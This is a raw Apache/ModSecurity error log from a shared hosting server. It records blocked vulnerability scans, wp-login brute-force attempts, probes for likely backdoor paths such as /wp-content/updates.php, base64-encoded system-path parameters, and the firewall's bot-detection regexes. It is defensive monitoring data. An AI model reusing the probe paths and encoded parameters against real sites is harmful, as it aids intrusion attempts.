https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:24:58.818121 2026] [security2:error] [pid 646876:tid 646910] [remote 17.22.237.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai302tyTkdrNlD40tSHc4QAAFx8"] [Sat Jun 13 18:24:58.861138 2026] [security2:error] [pid 646876:tid 647107] [client 85.208.98.194:6748] ModSecurity: Warning. Matched phrase "Semrush" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "302"] [hostname "eswest.com"] [uri "/"] [unique_id "ai302tyTkdrNlD40tSHc4gAAAGM"] [Sat Jun 13 18:24:59.110724 2026] [security2:error] [pid 715691:tid 715837] [remote 17.246.15.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3027V-dFiaX9AtWiQx6QABE34"] [Sat Jun 13 18:24:59.153345 2026] [security2:error] [pid 646876:tid 647110] [client 185.199.157.16:59435] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/404.php"] [unique_id "ai3029yTkdrNlD40tSHc6QAAAGY"] [Sat Jun 13 18:24:59.243228 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:24:59.243492 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:24:59.280284 2026] [security2:error] [pid 646876:tid 646982] [remote 17.246.23.143:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 143.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3029yTkdrNlD40tSHc6wAABGc"] [Sat Jun 13 18:24:59.291488 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.109:64198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:59.291777 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.109:64198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:59.548458 2026] [security2:error] [pid 715691:tid 715919] [client 159.223.112.69:40896] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3027V-dFiaX9AtWiQyAQAAAVg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:59.693897 2026] [security2:error] [pid 715691:tid 715781] [remote 17.241.219.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3027V-dFiaX9AtWiQyBQABHEY"] [Sat Jun 13 18:24:59.741105 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:24:59.741422 2026] [access_compat:error] [pid 646876:tid 646919] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:24:59.767140 2026] [security2:error] [pid 715691:tid 715966] [client 159.223.112.69:40902] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3027V-dFiaX9AtWiQyBwAAAYc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:59.767943 2026] [security2:error] [pid 646876:tid 647095] [client 185.199.157.13:62885] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/about.php"] [unique_id "ai3029yTkdrNlD40tSHc-AAAAFc"] [Sat Jun 13 18:24:59.853329 2026] [security2:error] [pid 715691:tid 715903] [client 34.66.224.20:51870] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.224.66.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3027V-dFiaX9AtWiQyEQAAAUg"] [Sat Jun 13 18:24:59.919362 2026] [security2:error] [pid 646876:tid 646957] [remote 86.27.241.101:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3029yTkdrNlD40tSHc_gAAJE4"], referer: https://www.torquayfans.com [Sat Jun 13 18:24:59.919405 2026] [security2:error] [pid 646876:tid 646957] [remote 86.27.241.101:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3029yTkdrNlD40tSHc_gAAJE4"], referer: https://www.torquayfans.com [Sat Jun 13 18:24:59.979115 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.34:44086] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:59.979575 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.34:44086] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:59.987774 2026] [security2:error] [pid 715691:tid 715937] [client 159.223.112.69:40918] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3027V-dFiaX9AtWiQyFwAAAWo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:00.060622 2026] [security2:error] [pid 715691:tid 715886] [client 84.21.190.140:46458] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "solarrackworks.com"] [uri "/wp-content/plugins/fusion-builder/readme.txt"] [unique_id "ai303LV-dFiaX9AtWiQyGgAAATc"] [Sat Jun 13 18:25:00.207812 2026] [security2:error] [pid 646876:tid 647082] [client 159.223.112.69:40926] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303NyTkdrNlD40tSHdBAAAAEo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:00.228283 2026] [security2:error] [pid 646876:tid 647009] [client 54.37.252.152:60094] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "dentiststudygroup.com"] [uri "/robots.txt"] [unique_id "ai303NyTkdrNlD40tSHdBgAAAAE"] [Sat Jun 13 18:25:00.228403 2026] [security2:error] [pid 646876:tid 647009] [client 54.37.252.152:60094] ModSecurity: Warning. Matched phrase "MJ12bot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "dentiststudygroup.com"] [uri "/robots.txt"] [unique_id "ai303NyTkdrNlD40tSHdBgAAAAE"] [Sat Jun 13 18:25:00.239951 2026] [security2:error] [pid 646876:tid 647024] [client 159.223.112.69:40934] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303NyTkdrNlD40tSHdCAAAABA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:00.252607 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.92:52456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:00.252904 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.92:52456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:00.300757 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:00.301099 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:00.342617 2026] [access_compat:error] [pid 715691:tid 715809] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:00.342935 2026] [access_compat:error] [pid 715691:tid 715809] [remote 216.73.216.182:59569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:00.394358 2026] [access_compat:error] [pid 715691:tid 715780] [remote 57.141.14.88:61180] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:00.394818 2026] [access_compat:error] [pid 715691:tid 715780] [remote 57.141.14.88:61180] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:00.400482 2026] [security2:error] [pid 646876:tid 647060] [client 185.199.157.20:59805] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/themes/news-portal/sitebar.php"] [unique_id "ai303NyTkdrNlD40tSHdDgAAADQ"] [Sat Jun 13 18:25:00.427361 2026] [security2:error] [pid 715691:tid 715871] [client 159.223.112.69:40946] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303LV-dFiaX9AtWiQyJAAAASg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:00.500105 2026] [security2:error] [pid 646876:tid 647068] [client 159.223.112.69:40956] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303NyTkdrNlD40tSHdEwAAADw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:00.702758 2026] [security2:error] [pid 715691:tid 715846] [client 159.223.112.69:40970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303LV-dFiaX9AtWiQyMAAAAQ8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:00.835625 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:00.836111 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:00.900883 2026] [security2:error] [pid 646876:tid 647057] [client 159.223.112.69:40980] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303NyTkdrNlD40tSHdGwAAADE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:00.912038 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.75:49418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:00.912468 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.75:49418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:01.003486 2026] [access_compat:error] [pid 646876:tid 647004] [remote 57.141.14.52:55376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:01.003956 2026] [access_compat:error] [pid 646876:tid 647004] [remote 57.141.14.52:55376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:01.005607 2026] [security2:error] [pid 646876:tid 647124] [client 185.199.157.12:25713] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/updates.php"] [unique_id "ai303dyTkdrNlD40tSHdJgAAAHQ"] [Sat Jun 13 18:25:01.060768 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.77:41335] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:01.061223 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.77:41335] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:01.082019 2026] [security2:error] [pid 715691:tid 715908] [client 213.226.101.4:38001] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "405"] [hostname "www.clenbuterol4you.com"] [uri "/xmlrpc.php"] [unique_id "ai303LV-dFiaX9AtWiQyNQAAAU0"], referer: https://www.clenbuterol4you.com/xmlrpc.php [Sat Jun 13 18:25:01.094487 2026] [security2:error] [pid 715691:tid 715866] [client 159.223.112.69:40992] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai303bV-dFiaX9AtWiQyQQAAASM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:01.240626 2026] [security2:error] [pid 715691:tid 715815] [remote 17.241.75.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai303bV-dFiaX9AtWiQyRgABd2g"] [Sat Jun 13 18:25:01.348109 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 